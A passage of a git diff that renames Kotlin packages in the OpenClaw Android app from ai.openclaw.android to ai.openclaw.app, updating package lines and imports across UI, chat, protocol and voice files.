import androidx.core.app.NotificationManagerCompat import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.JsonPrimitive diff --git a/apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIAction.kt b/apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIAction.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIAction.kt rename to apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIAction.kt index 7e1a5bf127e..acbb3bf5cbd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIAction.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIAction.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.protocol +package ai.openclaw.app.protocol import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.JsonPrimitive diff --git a/apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawProtocolConstants.kt b/apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawProtocolConstants.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawProtocolConstants.kt rename to apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawProtocolConstants.kt index a2816e257fa..ef4c2d95c96 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawProtocolConstants.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawProtocolConstants.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.protocol +package ai.openclaw.app.protocol enum class OpenClawCapability(val rawValue: String) { Canvas("canvas"), diff --git a/apps/android/app/src/main/java/ai/openclaw/android/tools/ToolDisplay.kt b/apps/android/app/src/main/java/ai/openclaw/app/tools/ToolDisplay.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/tools/ToolDisplay.kt rename to apps/android/app/src/main/java/ai/openclaw/app/tools/ToolDisplay.kt index 1c5561767e6..77844187e8a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/tools/ToolDisplay.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/tools/ToolDisplay.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.tools +package ai.openclaw.app.tools import android.content.Context import kotlinx.serialization.Serializable diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/CameraHudOverlay.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/CameraHudOverlay.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/CameraHudOverlay.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/CameraHudOverlay.kt index 21043d739b0..658c4d38cc3 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/CameraHudOverlay.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/CameraHudOverlay.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.foundation.background import androidx.compose.foundation.layout.Box diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/CanvasScreen.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/CanvasScreen.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/CanvasScreen.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/CanvasScreen.kt index f733d154ed9..5bf3a60ec01 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/CanvasScreen.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/CanvasScreen.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import android.annotation.SuppressLint import android.util.Log @@ -21,7 +21,7 @@ import androidx.compose.ui.platform.LocalContext import androidx.compose.ui.viewinterop.AndroidView import androidx.webkit.WebSettingsCompat import androidx.webkit.WebViewFeature -import ai.openclaw.android.MainViewModel +import ai.openclaw.app.MainViewModel @SuppressLint("SetJavaScriptEnabled") @Composable diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/ChatSheet.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/ChatSheet.kt similarity index 53% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/ChatSheet.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/ChatSheet.kt index 85f20364c61..1abc76e7859 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/ChatSheet.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/ChatSheet.kt @@ -1,8 +1,8 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.runtime.Composable -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.ui.chat.ChatSheetContent +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.ui.chat.ChatSheetContent @Composable fun ChatSheet(viewModel: MainViewModel) { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/ConnectTabScreen.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/ConnectTabScreen.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/ConnectTabScreen.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/ConnectTabScreen.kt index 875b82796d3..4b8ac2c8e5d 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/ConnectTabScreen.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/ConnectTabScreen.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.animation.AnimatedVisibility import androidx.compose.foundation.BorderStroke @@ -46,7 +46,7 @@ import androidx.compose.ui.text.font.FontFamily import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.text.input.KeyboardType import androidx.compose.ui.unit.dp -import ai.openclaw.android.MainViewModel +import ai.openclaw.app.MainViewModel private enum class ConnectInputMode { SetupCode, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/GatewayConfigResolver.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/GatewayConfigResolver.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/GatewayConfigResolver.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/GatewayConfigResolver.kt index 4421a82be4b..93b4fc1bb60 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/GatewayConfigResolver.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/GatewayConfigResolver.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.core.net.toUri import java.util.Base64 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/MobileUiTokens.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/MobileUiTokens.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/MobileUiTokens.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/MobileUiTokens.kt index eb4f95775e7..5f93ed04cfa 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/MobileUiTokens.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/MobileUiTokens.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.ui.graphics.Brush import androidx.compose.ui.graphics.Color @@ -7,7 +7,7 @@ import androidx.compose.ui.text.font.Font import androidx.compose.ui.text.font.FontFamily import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.sp -import ai.openclaw.android.R +import ai.openclaw.app.R internal val mobileBackgroundGradient = Brush.verticalGradient( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/OnboardingFlow.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/OnboardingFlow.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/OnboardingFlow.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/OnboardingFlow.kt index cc596706ec0..417abd34e52 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/OnboardingFlow.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/OnboardingFlow.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import android.Manifest import android.content.Context @@ -84,10 +84,10 @@ import androidx.core.net.toUri import androidx.lifecycle.Lifecycle import androidx.lifecycle.LifecycleEventObserver import androidx.lifecycle.compose.LocalLifecycleOwner -import ai.openclaw.android.LocationMode -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.R -import ai.openclaw.android.node.DeviceNotificationListenerService +import ai.openclaw.app.LocationMode +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.R +import ai.openclaw.app.node.DeviceNotificationListenerService import com.journeyapps.barcodescanner.ScanContract import com.journeyapps.barcodescanner.ScanOptions diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/OpenClawTheme.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/OpenClawTheme.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/OpenClawTheme.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/OpenClawTheme.kt index aad743a6d7d..e3f0cfaac9c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/OpenClawTheme.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/OpenClawTheme.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.foundation.isSystemInDarkTheme import androidx.compose.material3.MaterialTheme diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/PostOnboardingTabs.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/PostOnboardingTabs.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/PostOnboardingTabs.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/PostOnboardingTabs.kt index e7adf00b18f..0642f9b3a7e 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/PostOnboardingTabs.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/PostOnboardingTabs.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.foundation.background import androidx.compose.foundation.BorderStroke @@ -44,7 +44,7 @@ import androidx.compose.ui.graphics.vector.ImageVector import androidx.compose.ui.platform.LocalDensity import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.dp -import ai.openclaw.android.MainViewModel +import ai.openclaw.app.MainViewModel private enum class HomeTab( val label: String, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/RootScreen.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/RootScreen.kt similarity index 88% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/RootScreen.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/RootScreen.kt index e50a03cc5bf..03764b11a22 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/RootScreen.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/RootScreen.kt @@ -1,11 +1,11 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.foundation.layout.fillMaxSize import androidx.compose.runtime.Composable import androidx.compose.runtime.collectAsState import androidx.compose.runtime.getValue import androidx.compose.ui.Modifier -import ai.openclaw.android.MainViewModel +import ai.openclaw.app.MainViewModel @Composable fun RootScreen(viewModel: MainViewModel) { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/SettingsSheet.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/SettingsSheet.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/SettingsSheet.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/SettingsSheet.kt index cd1368db1b4..1be0e23b63f 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/SettingsSheet.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/SettingsSheet.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import android.Manifest import android.content.Context @@ -66,10 +66,10 @@ import androidx.core.net.toUri import androidx.lifecycle.Lifecycle import androidx.lifecycle.LifecycleEventObserver import androidx.lifecycle.compose.LocalLifecycleOwner -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.LocationMode -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.node.DeviceNotificationListenerService +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.LocationMode +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.node.DeviceNotificationListenerService @Composable fun SettingsSheet(viewModel: MainViewModel) { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/TalkOrbOverlay.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/TalkOrbOverlay.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/TalkOrbOverlay.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/TalkOrbOverlay.kt index f89b298d1f7..0aba5e91078 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/TalkOrbOverlay.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/TalkOrbOverlay.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.animation.core.LinearEasing import androidx.compose.animation.core.RepeatMode diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/VoiceTabScreen.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/VoiceTabScreen.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/VoiceTabScreen.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/VoiceTabScreen.kt index 921f5ed016e..be66f42bef3 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/VoiceTabScreen.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/VoiceTabScreen.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import android.Manifest import android.app.Activity @@ -66,9 +66,9 @@ import androidx.core.content.ContextCompat import androidx.lifecycle.Lifecycle import androidx.lifecycle.LifecycleEventObserver import androidx.lifecycle.compose.LocalLifecycleOwner -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.voice.VoiceConversationEntry -import ai.openclaw.android.voice.VoiceConversationRole +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.voice.VoiceConversationEntry +import ai.openclaw.app.voice.VoiceConversationRole import kotlin.math.max @Composable diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/Base64ImageState.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/Base64ImageState.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/Base64ImageState.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/Base64ImageState.kt index c54b80b6e84..b2b540bdb7a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/Base64ImageState.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/Base64ImageState.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import android.graphics.BitmapFactory import android.util.Base64 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatComposer.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatComposer.kt similarity index 94% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatComposer.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatComposer.kt index 22099500ebf..9601febfa31 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatComposer.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatComposer.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import androidx.compose.foundation.BorderStroke import androidx.compose.foundation.horizontalScroll @@ -46,17 +46,17 @@ import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.text.style.TextOverflow import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp -import ai.openclaw.android.ui.mobileAccent -import ai.openclaw.android.ui.mobileAccentSoft -import ai.openclaw.android.ui.mobileBorder -import ai.openclaw.android.ui.mobileBorderStrong -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileCaption1 -import ai.openclaw.android.ui.mobileHeadline -import ai.openclaw.android.ui.mobileSurface -import ai.openclaw.android.ui.mobileText -import ai.openclaw.android.ui.mobileTextSecondary -import ai.openclaw.android.ui.mobileTextTertiary +import ai.openclaw.app.ui.mobileAccent +import ai.openclaw.app.ui.mobileAccentSoft +import ai.openclaw.app.ui.mobileBorder +import ai.openclaw.app.ui.mobileBorderStrong +import ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileCaption1 +import ai.openclaw.app.ui.mobileHeadline +import ai.openclaw.app.ui.mobileSurface +import ai.openclaw.app.ui.mobileText +import ai.openclaw.app.ui.mobileTextSecondary +import ai.openclaw.app.ui.mobileTextTertiary @Composable fun ChatComposer( @@ -148,7 +148,7 @@ fun ChatComposer( Text( text = "Gateway is offline. Connect first in the Connect tab.", style = mobileCallout, - color = ai.openclaw.android.ui.mobileWarning, + color = ai.openclaw.app.ui.mobileWarning, ) } @@ -346,7 +346,7 @@ private fun chatTextFieldColors() = @Composable private fun mobileBodyStyle() = MaterialTheme.typography.bodyMedium.copy( - fontFamily = ai.openclaw.android.ui.mobileFontFamily, + fontFamily = ai.openclaw.app.ui.mobileFontFamily, fontWeight = FontWeight.Medium, fontSize = 15.sp, lineHeight = 22.sp, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMarkdown.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMarkdown.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMarkdown.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMarkdown.kt index 6b5fd6d8dbd..a8f932d8607 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMarkdown.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMarkdown.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import androidx.compose.foundation.Image import androidx.compose.foundation.background @@ -34,12 +34,12 @@ import androidx.compose.ui.text.style.TextDecoration import androidx.compose.ui.text.withStyle import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp -import ai.openclaw.android.ui.mobileAccent -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileCaption1 -import ai.openclaw.android.ui.mobileCodeBg -import ai.openclaw.android.ui.mobileCodeText -import ai.openclaw.android.ui.mobileTextSecondary +import ai.openclaw.app.ui.mobileAccent +import ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileCaption1 +import ai.openclaw.app.ui.mobileCodeBg +import ai.openclaw.app.ui.mobileCodeText +import ai.openclaw.app.ui.mobileTextSecondary import org.commonmark.Extension import org.commonmark.ext.autolink.AutolinkExtension import org.commonmark.ext.gfm.strikethrough.Strikethrough diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageListCard.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageListCard.kt similarity index 90% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageListCard.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageListCard.kt index 889de006cb4..0c34ff0d763 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageListCard.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageListCard.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import androidx.compose.foundation.layout.Arrangement import androidx.compose.foundation.layout.Box @@ -15,13 +15,13 @@ import androidx.compose.runtime.LaunchedEffect import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.unit.dp -import ai.openclaw.android.chat.ChatMessage -import ai.openclaw.android.chat.ChatPendingToolCall -import ai.openclaw.android.ui.mobileBorder -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileHeadline -import ai.openclaw.android.ui.mobileText -import ai.openclaw.android.ui.mobileTextSecondary +import ai.openclaw.app.chat.ChatMessage +import ai.openclaw.app.chat.ChatPendingToolCall +import ai.openclaw.app.ui.mobileBorder +import ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileHeadline +import ai.openclaw.app.ui.mobileText +import ai.openclaw.app.ui.mobileTextSecondary @Composable fun ChatMessageListCard( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageViews.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageViews.kt similarity index 90% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageViews.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageViews.kt index 9ba5540f2d9..9d08352a3f0 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageViews.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageViews.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import androidx.compose.foundation.BorderStroke import androidx.compose.foundation.Image @@ -25,24 +25,24 @@ import androidx.compose.ui.text.font.FontFamily import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp -import ai.openclaw.android.chat.ChatMessage -import ai.openclaw.android.chat.ChatMessageContent -import ai.openclaw.android.chat.ChatPendingToolCall -import ai.openclaw.android.tools.ToolDisplayRegistry -import ai.openclaw.android.ui.mobileAccent -import ai.openclaw.android.ui.mobileAccentSoft -import ai.openclaw.android.ui.mobileBorder -import ai.openclaw.android.ui.mobileBorderStrong -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileCaption1 -import ai.openclaw.android.ui.mobileCaption2 -import ai.openclaw.android.ui.mobileCodeBg -import ai.openclaw.android.ui.mobileCodeText -import ai.openclaw.android.ui.mobileHeadline -import ai.openclaw.android.ui.mobileText -import ai.openclaw.android.ui.mobileTextSecondary -import ai.openclaw.android.ui.mobileWarning -import ai.openclaw.android.ui.mobileWarningSoft +import ai.openclaw.app.chat.ChatMessage +import ai.openclaw.app.chat.ChatMessageContent +import ai.openclaw.app.chat.ChatPendingToolCall +import ai.openclaw.app.tools.ToolDisplayRegistry +import ai.openclaw.app.ui.mobileAccent +import ai.openclaw.app.ui.mobileAccentSoft +import ai.openclaw.app.ui.mobileBorder +import ai.openclaw.app.ui.mobileBorderStrong +import ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileCaption1 +import ai.openclaw.app.ui.mobileCaption2 +import ai.openclaw.app.ui.mobileCodeBg +import ai.openclaw.app.ui.mobileCodeText +import ai.openclaw.app.ui.mobileHeadline +import ai.openclaw.app.ui.mobileText +import ai.openclaw.app.ui.mobileTextSecondary +import ai.openclaw.app.ui.mobileWarning +import ai.openclaw.app.ui.mobileWarningSoft import java.util.Locale private data class ChatBubbleStyle( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatSheetContent.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatSheetContent.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatSheetContent.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatSheetContent.kt index 12e13ab365a..2c09f4488b0 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatSheetContent.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatSheetContent.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import android.content.ContentResolver import android.net.Uri @@ -32,22 +32,22 @@ import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.text.style.TextOverflow import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.chat.ChatSessionEntry -import ai.openclaw.android.chat.OutgoingAttachment -import ai.openclaw.android.ui.mobileAccent -import ai.openclaw.android.ui.mobileBorder -import ai.openclaw.android.ui.mobileBorderStrong -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileCaption1 -import ai.openclaw.android.ui.mobileCaption2 -import ai.openclaw.android.ui.mobileDanger -import ai.openclaw.android.ui.mobileSuccess -import ai.openclaw.android.ui.mobileSuccessSoft -import ai.openclaw.android.ui.mobileText -import ai.openclaw.android.ui.mobileTextSecondary -import ai.openclaw.android.ui.mobileWarning -import ai.openclaw.android.ui.mobileWarningSoft +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.chat.ChatSessionEntry +import ai.openclaw.app.chat.OutgoingAttachment +import ai.openclaw.app.ui.mobileAccent +import ai.openclaw.app.ui.mobileBorder +import ai.openclaw.app.ui.mobileBorderStrong +import ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileCaption1 +import ai.openclaw.app.ui.mobileCaption2 +import ai.openclaw.app.ui.mobileDanger +import ai.openclaw.app.ui.mobileSuccess +import ai.openclaw.app.ui.mobileSuccessSoft +import ai.openclaw.app.ui.mobileText +import ai.openclaw.app.ui.mobileTextSecondary +import ai.openclaw.app.ui.mobileWarning +import ai.openclaw.app.ui.mobileWarningSoft import java.io.ByteArrayOutputStream import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/SessionFilters.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/SessionFilters.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/SessionFilters.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/SessionFilters.kt index 68f3f409960..2f496bcb6cd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/SessionFilters.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/SessionFilters.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat -import ai.openclaw.android.chat.ChatSessionEntry +import ai.openclaw.app.chat.ChatSessionEntry private const val RECENT_WINDOW_MS = 24 * 60 * 60 * 1000L diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/ElevenLabsStreamingTts.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/ElevenLabsStreamingTts.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/ElevenLabsStreamingTts.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/ElevenLabsStreamingTts.kt index 0cbe669409b..ff13cf73911 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/ElevenLabsStreamingTts.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/ElevenLabsStreamingTts.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.media.AudioAttributes import android.media.AudioFormat diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/MicCaptureManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/MicCaptureManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/MicCaptureManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/MicCaptureManager.kt index 099c7c1cd1e..39bacbeca5b 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/MicCaptureManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/MicCaptureManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.Manifest import android.content.Context diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/StreamingMediaDataSource.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/StreamingMediaDataSource.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/StreamingMediaDataSource.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/StreamingMediaDataSource.kt index 329707ad56a..90bbd81b8bd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/StreamingMediaDataSource.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/StreamingMediaDataSource.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.media.MediaDataSource import kotlin.math.min diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/TalkDirectiveParser.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/TalkDirectiveParser.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/TalkDirectiveParser.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/TalkDirectiveParser.kt index 5c80cc1f4f1..cd3770cf8c8 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/TalkDirectiveParser.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/TalkDirectiveParser.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonElement diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/TalkModeManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/TalkModeManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/TalkModeManager.kt rename to 